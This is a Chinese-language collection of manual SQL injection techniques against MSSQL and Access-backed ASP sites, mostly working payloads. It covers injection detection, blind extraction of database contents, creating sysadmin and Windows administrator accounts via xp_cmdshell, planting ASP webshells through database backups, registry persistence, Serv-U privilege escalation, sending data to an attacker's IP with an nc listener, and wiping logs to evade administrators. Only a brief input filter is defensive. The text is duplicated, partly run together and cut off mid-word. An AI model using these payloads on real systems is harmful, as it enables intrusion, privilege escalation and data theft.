SQL手工注入

比方说在查询id是50的数据时,若是用户传近来的参数是50 and 1=1,若是没有设置过滤的话,能够直接查出来,SQL 注入通常在ASP程序中遇到最多,

看看下面的
1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是不是mssql
;and user>0

3.判断数据库 系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
'and [查询条件] and ''='

5.搜索时没过滤参数的
'and [查询条件] and '%'='

6.猜数据库
;and (select Count(*) from [数据库名])>0

7.猜字段
;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
; and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS _SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--< br />;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的账户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步获得的paths'))>)

(2)遍历目录
;create table te mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 得到当前全部驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目录列表
;insert into temp(id,num1) exec m aster.dbo.xp_dirtree 'c:\';-- 得到全部子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Micr osoft\Windows\CurrentVersion\Run' 以多个记录集方式返回全部键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersio n','TestvalueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下全部值

14.mssql的backup建立webshell
use model
create table cmd(str image);
insert into cmd(str) values ('') ;
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 得到Windows的版本号
;and user_name()='dbo' 判断当前系统的链接用户是否是sa
;and (select user_name())>0 爆当前系统的链接用户
;and (select db_name())>0 获得当前链接的数 据库


16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

请求的时候,像这样子用:
http://ip/l.asp?c=dir

SQL手工注入大全

前提须要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用以下语句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用以下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlEx ec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'




SQL手工注入方法总结(SQL Server2005)2010-01-28 16:17---------如下以省略注入点用URL代替

--(1) ******查看驱动器方法******

-- 建表p(i为自动编号,a记录盘符相似"c:",b记录可用字节,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar( 255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出全部驱动器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驱动器总数

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)

--上面通常用于无显错状况下使用-------以此类推,获得全部驱动器名

URL;and (select a from p where i=1)>3;--报错获得第一个驱动器名

--上面通常用于显错状况下使用-------以此类推,获得全部驱动器名

URL;;drop table p;--删除表p

--(2) ******查看目录方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 an d m not in(select top 0 m from pa))>0;--报错获得深度i=1的第一个目录名

--上面通常用显错且目录名不为数字状况下使用-------(获得第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,获得e盘的全部目录

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半 法查出深度i=1的第一个目录名的长度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度

--上面通常用无显错状况下使用-------(获得第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,获得e盘的全部目录

URL;drop table pa;--删除表pa

----------------------------通过上面的方法就可获得 服务器全部目录(这里为链接用户有读取权限目录)-----------------

--(3) 数据库备份到Web目录(先拿个WebShell再说吧 注:此为SQL Server2000)

URL;alter database employ_ set RECOVERY FULL;--把当前库L设置成日志彻底恢复模式

URL;URL;c reate table s(l image);--建表s

URL;backup log s to disk = ’c:cmd’ with init;--减小备分数据的大小

URL;URL;insert s values(’’)--在表s中插入一句话马

URL;backup log hh to disk = ’e:\web\g.asp’;--备分日志到WEB路径

URL;drop table s;--删除表s

URL;alter database hh set RECOVERY SIMPLE;--把SQL设置成日志简单恢复模式

--------------------------------------OK到此WebShell应该到手了-----------------------------------------------

--(4) 如下为一些注入杂项

- ---SA权限:

URL;exec aster.dbo.sp_addlogin hacker;--添加SQL用户

URL;exec master.dbo.sp_password null,hacker,hacker;--设置SQL账号hacker 的 密码为 hacker

RL; exec master.dbo.sp_addsrvrolemember sysadmin hacker;--加hacker进sysadmin管理组

URL;exec master.dbo.xp_cmdshell ’net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--创建一个系统用hacker 并设置其密码为hacker

URL;exec master.dbo.xp_cmdshell ’net localgroup administrators hacker /add’;--hacker加入到 管理员

---- SQL Server2005暴库、表、段法(前提有显错、无显错用折半法)

URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法获得数据库个数

URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--

--依次提交 dbid = 2.3.4... 获得更多的数据库名

URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype=’U’);--折半法获得表个数(假设暴出库名employ)

URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype=’U’)

-- 假设暴出 表名为"employ_qj"则在上面语句上加条件 and name not in (’employ_qj’ 以此一直加条件....

URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = ’u’ and name = ’employ_qj’));--

--假设暴出字段名为"id"则在上面语句上加上条件 and name not is(’id’) 以此一直加条件....

---------------------按上面方法库、表、段的名称均可以获得----用以上方法能够获得段段里的数据--------------------
select * from master.dbo.sysdatabases --查询数据库

select * from NetBook.dbo.sysobjects where xtype=’u’ --查询数据库NetBook里的表

select * from NetBook.dbo.syscolumns where id=object_id(’book’) --查询book表里的字段

---------------------------------------------------------------------------------------------------------------

---------------------------------------SQL扩展沙盘提权-----------------------------------

看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_O Acreate能够用用SP_OAcreate同样能够执行系统命令
在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add&rsquo ;
这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 而后直接提高为管理员权限就OK了
提示命令完成成功


直接写
个一句话进去
语句以下
exec master.dbo.xp_subdirs ’d:\web\ www. xx.com’;
exec sp_makewebtask ’d:\web\ www.XXXX.com\XX.asp’,’select’’’’ ’
提示命令执行成功偶 们看看效果

查询分析器里执行select * from openrowset(’microsoft.jet.oledb.4.0’,’
;database=c:\windows\system32\ias\ias.mdb’,
’select shell("cmd.exe /c net user admin admin1234 /add")’)来利用沙盘来添加个管理员 可是事实告诉
我 我 的RP并很差

嘿嘿 使用declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’d:\Serv-U6.3\ServU Daemon.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end
这段代码就能够把ServUDaemon.ini里的配置信息所有显示出来 嘿嘿 既然能看了那偶门不是同样能够写进去?
直接写一个系统权限的 FTP账号 进去
使用declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
ex ec sp_oamethod @o, ’createtextfile’, @f out, ’d:\Serv-U6.3\ServUDaemon.ini’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL, 《这里添写本身写好的SU配置信息刚才复制的那些都要
写上去》
而后执行一下 成功执行 咱们再用存储过程看看写进去没有
OK 我XXXXXX 成功写 进去了一个用户名为XXXX密码为空的系统权限的FTP 而后偶们在FTP里执行
quote siteXXXXXXX 提权就行了。 这里已经很熟悉了 就不写了。~ 而后用3389连一下 成功地到服务器权限
而后偶们再用set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 来清理掉SQL日志 免的被管理员发现

------
DE CLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output

EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a

------------------------------MSSQL db_owner注入利用xp_regwrite得到系统权限---------------- -----------------------

xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’net user h86$ hacker /add’


呵呵,返回一个正常页面,说明成功完成 拉,再在注射点输入


xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’net localgroup administrators h86$ /add’

---------------------------------------------------------------------------------------------

  简单的如where xtype=’U’,字符U对应的ASCII码是85,因此能够用where xtype=char(85)代替;

若是字符是 中文的,好比where name=’用户’,能够用where name=nchar(29992)+nchar(25143)代替。

-------------------------------------------备份一句话木马----------------------------------------

日志备分WEBSHELL标准的七步:

1.InjectionURL’;alter databas e XXX set RECOVERY FULL-- (把SQL设置成日志彻底恢复模式)

2.InjectionURL’;create table cmd (a image)-- (新创建一个cmd表)

3.InjectionURL’;backup log XXX to disk = ’c:cmd’ with init-- (减小备分数据的大小)

4.InjectionURL’;in sert into cmd (a) values (’’)-- (插入一句话木马)

5.InjectionURL’;backup log XXX to disk = ’d:chinakmtest.asp’-- (备分日志到WEB路径)

6.InjectionURL’;drop table cmd-- (删除新建的cmd表)

7.InjectionURL’;a lter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

注:InjectionURL是注入点,XXX是数据库名称.

数据库差别备份代码:
BACKUPLOGpeihuaWITHNO_LOGDBCCSHRINKDATABASE(peihua)--

dumptransactionpeihuawithno_log--
0.dump transaction 数据库名 wi th no_log 清空日志

一、create table [dbo].[jm_tmp] ([cmd] [image])-- 建立一个表

二、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)

三、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 ""的16进制字符插入到表中

四、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’Crogram FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差别备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。

五、drop table [jm_tmp]-- 删除此表。

---------------------------------------------------防--------------------------------------------

Function SafeRequest(ParaName,ParaType)
 ’ --- 传入参数 ---
 ’ParaName:参数名称-字符型
 ’ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

 Dim Paravalue
 Paravalue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(Paravalue) then
   Response.write "参数" &amp ; ParaName & "必须为数字型!"
   Response.end
  End if
 Else
  Paravalue=replace(Paravalue,"’","’’")
 End if
 SafeRequest=Paravalue
End function


-- 绕过单引号继续注入

URL;declare @cmd sy sname select @cmd=这里为你要执行命令的16进制 exec master.dbo.xp_cmdshell @cmd;--

--先声明一个变量cmd,而后把咱们的指令赋值给cmd

--sql server 2005下开启xp_cmdshell的办法

EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure &rs quo;xp_cmdshell’, 1;RECONFIGURE;

--SQL2005开启’OPENROWSET’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE;

--SQL2005开启’sp_oacreate’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE;

在db权限而且分离获取mssql数据库服务器ip的方法

1.本地nc监 听 nc -vvlp 80

2.;insert into OPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;’, ’select * from dest_table’) select * from src_table;--


---------------------------------如下为检测方法---------------------------------

--检测能否注入
========================================================= ====================
URL and 1=1;--正常页面
URL and 1=2;--出错页面

=============================================================================
--检测数据库的
=============================================================================< br />URL and (select count(*) from sysobjects)>0;--返回正常sql server
URL and (select count(*) from msysobjects)>0;--返回正常Access

=============================================================================
--检测路径的
============= ================================================================
URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;--

=============================================================================
- -检测表段的
=============================================================================
URL and exists (select * from admin);--

=============================================================================
--检测字段的
============= ================================================================
URL and exists (select username from admin) ;--

=============================================================================
--检测ID
=============================== ==============================================
URL and exists (select id from admin where ID=1) ;--

=============================================================================
--检测长度的
=========================================== ==================================
URL and exists (select id from admin where len(username)=5 and ID=1);--

=============================================================================
--检测是否为MSSQL数据库
============================ =================================================
URL and exists (select * from sysobjects) ;--

=============================================================================
--检测是否为英文 ;--
========================================= ====================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS数据库


URL and exists (select id from admin where unicode(substring(username,1,1)) betwee n 30 and 130 and ID=1) ;--MSSQL数据库

=============================================================================
--检测英文的范围
=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS数据库

URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL数据库

================================ =============================================
--检测那个字符
=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS数据库

URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL数据库



比方说在查询id是50的数据时,若是用户传近来的参数是50 and 1=1,若是没有设置过滤的话,能够直接查出来,SQL 注入通常在ASP程序中遇到最多,

看看下面的
1.判断是否有注入
;and 1=1
; and 1=2

2.初步判断是不是mssql
;and user>0

3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
'and [查询条件] and ''='

5.搜索时没过滤参数 的
'and [查询条件] and '%'='

6.猜数据库
;and (select Count(*) from [数据库名])>0

7.猜字段
;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(acc ess)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1 =(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulka dmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的账户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步获得的paths'))>)

(2)遍历目录
;create table te mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 得到当前全部驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目录列表
;insert into temp(id,num1) exec m aster.dbo.xp_dirtree 'c:\';-- 得到全部子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Micr osoft\Windows\CurrentVersion\Run' 以多个记录集方式返回全部键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersio n','TestvalueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下全部值

14.mssql的backup建立webshell
use model
create table cmd(str image);
insert into cmd(str) values ('') ;
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 得到Windows的版本号
;and user_name()='dbo' 判断当前系统的链接用户是否是sa
;and (select user_name())>0 爆当前系统的链接用户
;and (select db_name())>0 获得当前链接的数 据库


16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

请求的时候,像这样子用:
http://ip/l.asp?c=dir

SQL手工注入大全

前提须要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用以下语句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用以下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlEx ec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'




SQL手工注入方法总结(SQL Server2005)2010-01-28 16:17---------如下以省略注入点用URL代替

--(1) ******查看驱动器方法******

-- 建表p(i为自动编号,a记录盘符相似"c:",b记录可用字节,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar( 255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出全部驱动器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驱动器总数

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)

--上面通常用于无显错状况下使用-------以此类推,获得全部驱动器名

URL;and (select a from p where i=1)>3;--报错获得第一个驱动器名

--上面通常用于显错状况下使用-------以此类推,获得全部驱动器名

URL;;drop table p;--删除表p

--(2) ******查看目录方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 an d m not in(select top 0 m from pa))>0;--报错获得深度i=1的第一个目录名

--上面通常用显错且目录名不为数字状况下使用-------(获得第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,获得e盘的全部目录

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半 法查出深度i=1的第一个目录名的长度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度

--上面通常用无显错状况下使用-------(获得第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,获得e盘的全部目录

URL;drop table pa;--删除表pa

----------------------------通过上面的方法就可获得服务器全部目录(这里为链接用户有读取权限目录)----- ------------

--(3) 数据库备份到Web目录(先拿个WebShell再说吧 注:此为SQL Server2000)

URL;alter database employ_ set RECOVERY FULL;--把当前库L设置成日志彻底恢复模式

URL;URL;create table s(l image);--建表s

URL;backup log s to disk = ’c:cmd&rsq uo; with init;--减小备分数据的大小

URL;URL;insert s values(’’)--在表s中插入一句话马

URL;backup log hh to disk = ’e:\web\g.asp’;--备分日志到WEB路径

URL;drop table s;--删除表s

URL;alter database hh set RECOVERY SIMPLE ;--把SQL设置成日志简单恢复模式

--------------------------------------OK到此WebShell应该到手了-----------------------------------------------

--(4) 如下为一些注入杂项

----SA权限:

URL;exec aster.dbo.sp_addlogin hacker;--添加SQL用户

URL; exec master.dbo.sp_password null,hacker,hacker;--设置SQL账号hacker 的密码为 hacker

RL;exec master.dbo.sp_addsrvrolemember sysadmin hacker;--加hacker进sysadmin管理组

URL;exec master.dbo.xp_cmdshell ’net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--创建一个系统用hacker 并设置其密码为hacker

URL;exec master.dbo.xp_cmdshell ’net localgroup administrators hacker /add’;--hacker加入到管理员组

----SQL Server2005暴库、表、段法(前提有显错、无显错用折半法)

URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法获得数据库个数

URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--

--依次提交 dbid = 2.3.4... 获得更多的数据库名

URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype=’U’);--折半法获得表个数(假设暴出库名employ)

URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype=’U’)

-- 假设暴出表名为"employ_qj"则在上面语句上加条件 and name not in (’employ_qj’ 以此一直加条件....

URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = ’u’ and name = ’employ_qj’));--

--假设暴出字段名为"id"则在上面语句上加上条件 and name not is(’id’) 以此一直加条件....

---------------------按上面方法库、表、段的名称均可以获得----用以上方法能够获得段段里的数据--------------------
select * from master.dbo.sysdatabases --查询数据库

select * from NetBook.dbo.sysobjects where xtype=’u’ --查询数据库NetBook里的表

select * from NetBook.dbo.syscolumns where id=object_id(’book’) --查询book表里的字段

---------------------------------------------------------------------------------------------------------------

---------------------------------------SQL扩展沙盘提权-----------------------------------

看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_O Acreate能够用用SP_OAcreate同样能够执行系统命令
在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add&rsquo ;
这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 而后直接提高为管理员权限就OK了
提示命令完成成功


直接写
个一句话进去
语句以下
exec master.dbo.xp_subdirs ’d:\web\ www. xx.com’;
exec sp_makewebtask ’d:\web\ www.XXXX.com\XX.asp’,’select’’’’ ’ 提示命令执行成功偶 们看看效果 查询分析器里执行select * from openrowset(’microsoft.jet.oledb.4.0’,’ ;database=c:\windows\system32\ias\ias.mdb’, ’select shell("cmd.exe /c net user admin admin1234 /add")’)来利用沙盘来添加个管理员 可是事实告诉 我 我 的RP并很差 嘿嘿 使用declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’opentextfile’, @f out, ’d:\Serv-U6.3\ServU Daemon.ini’, 1 exec @ret = sp_oamethod @f, ’readline’, @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, ’readline’, @line out end 这段代码就能够把ServUDaemon.ini里的配置信息所有显示出来 嘿嘿 既然能看了那偶门不是同样能够写进去? 直接写一个系统权限的FTP账号 进去 使用declare @o int, @f int, @t int, @ret int exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’createtextfile’, @f out, ’d:\Serv-U6.3\ServUD aemon.ini’, 1 exec @ret = sp_oamethod @f, ’writeline’, NULL, 《这里添写本身写好的SU配置信息刚才复制的那些都要 写上去》 而后执行一下 成功执行 咱们再用存储过程看看写进去没有 OK 我XXXXXX 成功写进去了一个用户名为XXXX密码为空的系统权限的FTP 而后偶们在FTP里执行 quote siteXXXXXXX 提权就行了。 这里已经很熟悉了 就不写了。 ~ 而后用3389连一下 成功地到服务器权限 而后偶们再用set nocount on declare @logicalfilename sysname, @maxminutes int, @newsize int 来清理掉SQL日志 免的被管理员发现 ------ DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oame thod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a ------------------------------MSSQL db_owner注入利用xp_regwrite得到系统权限--------------------------------------- xp_regwrite ’HKEY_LOCAL_MACHINE’,&rs quo;SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’net user h86$ hacker /add’ 呵呵,返回一个正常页面,说明成功完成拉,再在注射点输入 xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’net localgroup administrators h86$ /add’ ---------------------------------------------------------------------------------------------   简单的如where xtype=’U’,字符U对应的ASCII码是85,因此能够用where xtype=char(85)代替; 若是字符是 中文的,好比where name=’用户’,能够用where name=nchar(29992)+nchar(25143)代替。 -------------------------------------------备份一句话木马---------------------------------------- 日志备分WEBSHELL标准的七步: 1.InjectionURL’;alter databas e XXX set RECOVERY FULL-- (把SQL设置成日志彻底恢复模式) 2.InjectionURL’;create table cmd (a image)-- (新创建一个cmd表) 3.InjectionURL’;backup log XXX to disk = ’c:cmd’ with init-- (减小备分数据的大小) 4.InjectionURL’;in sert into cmd (a) values (’’)-- (插入一句话木马) 5.InjectionURL’;backup log XXX to disk = ’d:chinakmtest.asp’-- (备分日志到WEB路径) 6.InjectionURL’;drop table cmd-- (删除新建的cmd表) 7.InjectionURL’;a lter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式) 注:InjectionURL是注入点,XXX是数据库名称. 数据库差别备份代码: BACKUPLOGpeihuaWITHNO_LOGDBCCSHRINKDATABASE(peihua)-- dumptransactionpeihuawithno_log-- 0.dump transaction 数据库名 wi th no_log 清空日志 一、create table [dbo].[jm_tmp] ([cmd] [image])-- 建立一个表 二、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换) 三、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 ""的16进制字符插入到表中 四、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’Crogram FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差别备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。 五、drop table [jm_tmp]-- 删除此表。 ---------------------------------------------------防-------------------------------------------- Function 